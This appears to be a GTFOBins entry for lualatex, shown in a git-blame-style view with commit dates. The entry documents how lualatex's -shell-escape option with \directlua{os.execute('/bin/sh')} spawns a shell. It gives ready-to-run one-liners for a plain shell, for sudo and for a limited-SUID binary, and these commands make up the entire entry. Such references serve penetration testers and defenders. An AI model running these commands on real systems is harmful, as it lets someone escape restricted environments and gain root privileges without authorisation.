2021-04-26 16:06:18 +02:00
|
|
|
---
|
|
|
|
description: This allows to execute [`lua`](/gtfobins/lua/) code.
|
2021-04-22 22:16:14 +02:00
|
|
|
functions:
|
2021-04-26 16:06:18 +02:00
|
|
|
shell:
|
|
|
|
- code: lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
|
2021-04-22 22:16:14 +02:00
|
|
|
sudo:
|
2021-04-26 16:06:18 +02:00
|
|
|
- code: sudo lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
|
|
|
|
limited-suid:
|
|
|
|
- code: ./lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
|
|
|
|
---
|